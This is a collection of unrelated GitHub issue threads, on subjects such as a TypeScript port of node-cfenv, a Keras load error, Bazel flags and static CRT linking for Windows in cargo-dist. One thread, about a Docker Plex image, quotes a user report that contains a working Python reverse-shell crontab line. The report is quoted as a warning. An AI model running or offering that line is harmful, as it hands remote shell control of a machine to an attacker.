@pmuellr are you interested in moving the library towards typescript rather than coffeescript? Or just want the cfenv.d.ts file for typecript users?

Sweet sweet IDE assistance.

@pmuellr I tried to run the tests on my branch but I think a) I'm not familiar with mocha nor your https://github.com/pmuellr/jbuild; b) my code paths for local files/islocal isn't working wrt to the tests.
Perhaps we can pair on some fixes and chat about the typescript implementation?
I'd like the current .coffee tests to pass before rewriting them (and accidentally writing tests that pass; but not the right tests).

I'm not much of a CF user anymore, don't have much skin in the game, happy to pass the torch to folks wanting better. TS seems perfectly reasonable to me.  LMK and I can folks as maintainers of the npm package.
We can certainly get rid of jbuild and use an alternate method of "building", assuming the source will be in TS and then compiled to JS.
I'll check the fork and see if anything obvious pops out to me re: the tests.  Otherwise, can certainly pair, maybe twitter dm me @pmuellr to find a time?

I have some comments to make on the ongoing branch, maybe create a PR you can keep pushing to, to make discussion easier?
There will need to be some kind of "build" command, I guess preferrably as an npm script like the current build script below, to invoke ./node_modules/.bin/tsc.  Eg, the property value for build can prolly just be tsc.  I figured just running tsc would end up recompiling everything, and did, but need something simpler than the mouthful above.
https://github.com/cloudfoundry-community/node-cfenv/blob/3490eda2643cb044c5a19d47eaa42cb2fbe194f8/package.json#L13-L18)
I then ran the tests via npm run test, looked at a couple of the errors, seemed to be understandable in terms of figuring out how to fix them.  Eg, the default "app" name seems to be "ignoreme" in this branch, which is not expected, and hence the tests checking that are failing.  etc


NotImplementedError on imports

Does that mean what I think it means?  If so, I'm not sure how to get around this.  It seems to concern a function in the theano_backend.py called slice().
Here's my stack trace:
---------------------------------------------------------------------------
NotImplementedError                       Traceback (most recent call last)
<ipython-input-1-0c053f478241> in <module>
      1 import sys
----> 2 import model_script as my_model_script
      3 import cv2

/Model-API-Files/WIP/model_script.py in <module>
     55 # LOAD MODEL
     56 char_model_path = '/Model-API-Files/models/my_model.hdf5'
---> 57 char_model = models.load_model(char_model_path)
     58
     59 def model_operation(image):

/usr/local/anaconda/lib/python3.6/site-packages/keras/engine/saving.py in load_model(filepath, custom_objects, compile)
    417     f = h5dict(filepath, 'r')
    418     try:
--> 419         model = _deserialize_model(f, custom_objects, compile)
    420     finally:
    421         if opened_new_file:

/usr/local/anaconda/lib/python3.6/site-packages/keras/engine/saving.py in _deserialize_model(f, custom_objects, compile)
    223         raise ValueError('No model found in config.')
    224     model_config = json.loads(model_config.decode('utf-8'))
--> 225     model = model_from_config(model_config, custom_objects=custom_objects)
    226     model_weights_group = f['model_weights']
    227

/usr/local/anaconda/lib/python3.6/site-packages/keras/engine/saving.py in model_from_config(config, custom_objects)
    456                         '`Sequential.from_config(config)`?')
    457     from ..layers import deserialize
--> 458     return deserialize(config, custom_objects=custom_objects)
    459
    460

/usr/local/anaconda/lib/python3.6/site-packages/keras/layers/__init__.py in deserialize(config, custom_objects)
     53                                     module_objects=globs,
     54                                     custom_objects=custom_objects,
---> 55                                     printable_module_name='layer')

/usr/local/anaconda/lib/python3.6/site-packages/keras/utils/generic_utils.py in deserialize_keras_object(identifier, module_objects, custom_objects, printable_module_name)
    143                     config['config'],
    144                     custom_objects=dict(list(_GLOBAL_CUSTOM_OBJECTS.items()) +
--> 145                                         list(custom_objects.items())))
    146             with CustomObjectScope(custom_objects):
    147                 return cls.from_config(config['config'])

/usr/local/anaconda/lib/python3.6/site-packages/keras/engine/network.py in from_config(cls, config, custom_objects)
   1030                 if layer in unprocessed_nodes:
   1031                     for node_data in unprocessed_nodes.pop(layer):
-> 1032                         process_node(layer, node_data)
   1033
   1034         name = config.get('name')

/usr/local/anaconda/lib/python3.6/site-packages/keras/engine/network.py in process_node(layer, node_data)
    989             # and building the layer if needed.
    990             if input_tensors:
--> 991                 layer(unpack_singleton(input_tensors), **kwargs)
    992
    993         def process_layer(layer_data):

/usr/local/anaconda/lib/python3.6/site-packages/keras/engine/base_layer.py in __call__(self, inputs, **kwargs)
    455             # Actually call the layer,
    456             # collecting output(s), mask(s), and shape(s).
--> 457             output = self.call(inputs, **kwargs)
    458             output_mask = self.compute_mask(inputs, previous_mask)
    459

/usr/local/anaconda/lib/python3.6/site-packages/keras/layers/core.py in call(self, inputs, mask)
    685         if has_arg(self.function, 'mask'):
    686             arguments['mask'] = mask
--> 687         return self.function(inputs, **arguments)
    688
    689     def compute_mask(self, inputs, mask=None):

/usr/local/anaconda/lib/python3.6/site-packages/keras/layers/core.py in get_slice(data, i, parts)
    193         stride = K.concatenate([step, input_shape * 0], axis=0)
    194         start = stride * i
--> 195         return K.slice(data, start, size)
    196
    197     # Relocate the model definition under CPU device scope if needed

/usr/local/anaconda/lib/python3.6/site-packages/keras/backend/theano_backend.py in slice(x, start, size)
   1323
   1324 def slice(x, start, size):
-> 1325     raise NotImplementedError
   1326
   1327

NotImplementedError:

Thanks!

I managed to work-around this problem by instantiating a fresh model and loading the weights.  The original model was trained on 8 GPUs, so I had to pull it out of the original first before saving the weights.  I'm not closing this because I still believe the issue is worth looking into.


BUG: github pages build can not get git info in actions

Describe the bug

Reproduction
https://yjl9903.github.io/unplugin-info/
System Info
No response
Used Package Manager
None

I think the problem is related to https://github.com/rwjblue/git-repo-info/issues/48.

@lawvs I see ouuan use another package simple-git, it seems we can also migrate to use it.

After depending on the git, we can export other useful information like dirty status or a human-readable description by git describe --always --dirty.

After depending on the git, we can export other useful information like dirty status or a human-readable description by git describe --always --dirty.

Yes, we can add API to pass the simple git instance for users to export more information they want.

Done, https://github.com/yjl9903/unplugin-info?tab=readme-ov-file#buildgit


user docs: Scrolling to anchor should happen after images load.

Clicking on a left-sidebar link can take you to the wrong place in a doc. E.g.

Go to http://localhost:9991/help/
Click on "Sending Messages"
Click on "Status messages"

It takes me to

The issue is that it decides the scroll position before the images are loaded.
Two possible solutions are:

Automatically add image heights into a help doc CSS file, during provisioning
Scroll to the link anchor after the page is fully loaded.

@rishig Is this still relevant to this date?

The bug is still there, even though we removed "Status messages" from the left sidebar. You can go directly to https://chat.zulip.org/help/format-your-message-using-markdown#status-messages to see it (though currently there seem to be other scroll position bugs obscuring this one ..)

I see. So would there be a way to recreate this bug or would it be better to tackle the other scroll position bugs before attempting to fix this one?

Probably will have to tackle the other scroll position bugs first.

Do you think you can direct me to where this issue has been created? I have a bit of experience with web development so I feel like this is something that I could definitely help out with.

is this bug still there ? maybe i can figure it out @rishig

This may have been fixed, and in any case we won't be working on it given the plans in #30450 .


Fix unrecognized options by bazel mod command

Build flags defined in the project view are forwarded to bazel mod which breaks sync, since --define is not a known option for the mod command.
Not sure if excluding build flags from the mod command is the right way to go. But fixes the sync.

CC @mtoader

The right thing here is more complicated unfortunately since what is really needed is something similar to how .bazelrc works.
This is ok for now but it will break in different ways too, e.g. adding --incompatible_use_plus_in_repo_names in build_flags will make mod show different canonical names than what build would use.

Yes I thought that this might be the case. Tbh, not really sure how the bazel mod stuff works. But if it is okay with you I would like to merge this for now to fix sync.

Yes I thought that this might be the case. Tbh, not really sure how the bazel mod stuff works. But if it is okay with you I would like to merge this for now to fix sync.

I'm ok with it. I have to add a notifier anyway to let people know that the plus flag should be set for proper completion to work anyway. I'll recommend them set it in the .blazerc file.

Yes I thought that this might be the case. Tbh, not really sure how the bazel mod stuff works. But if it is okay with you I would like to merge this for now to fix sync.

I'm ok with it. I have to add a notifier anyway to let people know that the plus flag should be set for proper completion to work anyway. I'll recommend them set it in the .blazerc file.

I also don't have write/review access here so I can't help further unfortunately

@agluszak @tpasternak I think the semantics of build_flags in the new plugin could be smarter. Maybe a .blazerc fragment? I would avoid this kind of issues ?

Sorry, my responses might be delayed until the end of next week. Sure, providing bazelrc-like inheritance would be nice, however it might require extra maintenance to make sure we agree with bazel on that.
It could also be done for free just with --bazelrc CLI option, it would be even a low hanging fruit in the old plugin, to provide 'bazelrc` section that would create a bazelrc file on the fly. It could replace all other sections and perform better
But speaking about this particular problem, it seems like the mod command simply doesn't inherit flags from build so we can't pass build_flags there.

Sorry, my responses might be delayed until the end of next week. Sure, providing bazelrc-like inheritance would be nice, however it might require extra maintenance to make sure we agree with bazel on that.
It could also be done for free just with --bazelrc CLI option, it would be even a low hanging fruit in the old plugin, to provide 'bazelrc` section that would create a bazelrc file on the fly. It could replace all other sections and perform better
But speaking about this particular problem, it seems like the mod command simply doesn't inherit flags from build so we can't pass build_flags there.

Yea. That was my thinking also. I opened a ticket to think about this in the new plugin (now might be a good time to update section semantics if this is what it would be needed and since I'm adding blazerc support there it would be easier too).


Warning about connections to remote IP

There is a comment on hub.docker.com regarding not to use this image as it would open some kind of connection to a (chinese?) IP address. Here's the original text written by user puri five days ago:

TAKE CARE - This image creates open sockets connected to a chines ip server. Further its creating a subprocess with your hosts shell /bin/bash !!!
While running this image as a container it will create additional containers of the same image which injects following to the hosts crontab.
* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",1445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I did a quick review of all relevant files, but I couldn't find anything suspicious. The owner should take the comment down or respond to it on hub.docker.com, if it contains false accusations.

Hi
Not sure what the person was doing though have had it where people put comments about other plex images.
I've responded on docker hub. Though I can't take the comments down on docker hub.
Bellow is my response.
Thanks for letting us know.
@puri Not sure what your on about. This is build by docker from this github repo https://github.com/timhaak/docker-plex.
It's using the official ubuntu:16.04 image and it's getting the plex build from plex it's self.
So either plex is adding that or more likely you were looking at some other docker image and not this one.
Having said that I see that plex is not finally doing one them selves. So that may be the best way forward.


[hotfix] Add interface document and polish code

Add interface document and polish code

@wolfboys  @RocMarshal  PTAL


Forcing +crt-static on windows: problematic with DLLs?

https://github.com/diesel-rs/diesel/actions/runs/6572883796/job/17854873471?pr=3833#step:9:271

= note:    Creating library D:\a\diesel\diesel\target\x86_64-pc-windows-msvc\dist\deps\diesel.lib and object D:\a\diesel\diesel\target\x86_64-pc-windows-msvc\dist\deps\diesel.exp
LINK : warning LNK4098: defaultlib 'MSVCRT' conflicts with use of other libs; use /NODEFAULTLIB:library

https://stackoverflow.com/questions/3007312/resolving-lnk4098-defaultlib-msvcrt-conflicts-with

You'll see the error message you quoted when the linker is told both to link to msvcrt.lib (static libc) and libcmt.lib (dynamic libc). Which will happen if you link code that was compiled with /MT with code that was linked with /MD. There can be only one version of the CRT.

You can see libcmt.lib getting linked in, while cargo-dist turns on +crt-static on windows, as recommended by the Rust RFC:

Furthermore, it would have arguably been a "more correct" choice for Rust to by default statically link to the CRT on MSVC rather than dynamically. While this would be a breaking change today due to how C components are compiled, if this RFC is implemented it should not be a breaking change to switch the defaults in the future, after a reasonable transition period.
The support in this RFC implies that the exact artifacts that we're shipping will be usable for both dynamically and statically linking the CRT. Unfortunately, however, on MSVC code is compiled differently if it's linking to a dynamic library or not. The standard library uses very little of the MSVCRT, so this won't be a problem in practice for now, but runs the risk of binding our hands in the future. It's intended, though, that Cargo will eventually support custom compilation of the stdlib. The crt-static feature would simply be another input to this logic, so Cargo would custom-compile the standard library if it differed from the upstream artifacts, solving this problem.

It's possible we should adjust our rule from "always +crt-static" to "+crt-static if there's no system dependencies" or "there's a config flag to turn of this behaviour" (I would have liked to emit this into a persistent/normal rust build config, but +crt-static is in a weird place where there's no right place to put it, really, especially with dynamic-vs-static musl sharing the same target triple while you could reasonably want to support both).

Currently looking into:

Adding msvc-crt-static = true/false/None as a setting

making None (the default) toggle on the presence of non-empty dependencies.chocolatey

Slightly complicated by the fact that, as a build flag, we need this to interact with precise-builds inference (can't build --workspace if different packages in the workspace disagree on whether they want +crt-static), so now we would have inference-on-inference...

Got some good clarification from windows devs over at https://toot.cat/@Gankra/111263387382919461
TL;DR -- it is still the case that if you want to dynamically link the windows crt, you really need to ship a redistributable to ensure everything's installed on the user's system. That said, if the user is a developer they probably already have one, so devtools like diesel's cli might be "kind of ok".
Not a terribly compelling user story to "roll the dice". We should explore options for detecting the need for redistributables (whether +crt-static should be set), what version they used (with the post-build linkage checker), and then providing them as part of our installers.
For the powershell installer we can probably fetch it from microsoft's servers at install-time?
MSIs on the other hand probably want to vendor the redistributable installer, but I don't think cargo-wix knows how to do that, so we'll also want to teach it.

if you link the CRT dynamically, either:

your user must have the redist installed (so, in other words, you should make sure your installer also installs the redist). this is a global thing, but we're backwards compatible so updating the redist is totes fine (using a binary compiled against the new redist with the old one is not fine)
you must ship the redist DLLs next to your exe (called app-local deployment). i do not recommend this.

dynamic linking of the CRT is required if you want multiple DLLs to be able to communicate with the CRT, since otherwise global data will be duplicated (I'm not sure how much of a problem this is in practice for C library usage, but it's extremely problematic for C++.)

There are two DLLs involved here. The ucrt is distributed with windows (since Windows 7). The vcruntime is installed separately. Rust mostly only uses the latter for panic handling, but also it has some critical functions (like memcpy, memcmp et al).

yeah, if you're shipping to devs they'll probably have it, but otherwise you should ship the redist

There was also a note of:

Secret tip doctors don't want you to know about: you can dynamically link the ucrt but statically link the vcruntime. Link libcmt (static), libvcruntime (static) and ucrt (dynamic). Best done in combination with +crt-static. Also remember to use /Wx linker argument because the linker will warn about mismatched CRTs but rust hides linker warnings.
See also https://learn.microsoft.com/en-us/cpp/

Which I don't fully comprehend the implications of yet (most magical interpretation is that we do not in fact ever need to ship redistributable installers, but that sounds too good to be true...).

I would personally argue that a packaging tool should probably default to dynamic and ship .msis, rather than default to static and ship portable binaries. Once you're using other DLLs, it's fairly rare that you don't want everyone using the same CRT instance.
As the owner of the redist, I also cannot recommend dynamic-UCRT-static-redist.
For Rust dev-tools, if someone has installed rustc, you can assume they've installed the C++ toolset which gets you the redist (note: this was true when i last did rust, may not still be true)

Just checking: is there weird licensing/legal implications about a powershell installer (equivalent of curl | sh) dynamically fetching and installing a microsoft redistributable?

@Gankra https://learn.microsoft.com/en-us/cpp/windows/redistributing-visual-cpp-files?view=msvc-170 is where all that information is.

but that sounds too good to be true

Yeah, basically. I don't think a general build system should try it. It kinda works for pure Rust because we don't use much of vcruntime. We do use some exception stuff but panicking between Rust cdylibs is already maybe a bit sketchy (e.g. if built with different Rust versions or even different compile) and throwing/catching C++ exceptions was right out (officially at least). Though I think the C-unwind work has changed things here.
It's a bigger problem for mixed Rust/C++ code tho.

Talked myself into starting with a very simplistic flag to opt back into the default rust behaviour of msvc==dynamic-libc.
https://github.com/axodotdev/cargo-dist/pull/507
There's similar questions to answer around static vs dynamic musl, and we should Just Do the redist stuff if we're going to put much effort into dynamic linking on windows.

More details on the Hybrid CRT technique; basically statically linking vcruntime, but dynamically linking the UCRT. Doing hybrid CRT is theoretically as simple as using +crt-static (/MT for MSVC) and adding linker arguments of /NODEFAULTLIB:libucrt.lib /DEFAULTLIB:ucrt.lib to switch UCRT back to dynamic. This is supposedly preferable to full static linking when only targeting in-support Windows (which provides UCRT as an OS component); see the linked explainer from the WindowsAppSDK for more details.

As of versions 1.0.3 and 1.1 Preview 2, all Windows App SDK DLLs and EXEs containing C/C++ code are built using the 'Hybrid CRT' technique. This frees developers from the burden of installing the CRT redistributables on end user devices

Fun aside: The UCRT does cool PE tricks to version imports, working much like glibc symbol versioning, to back its compatibility.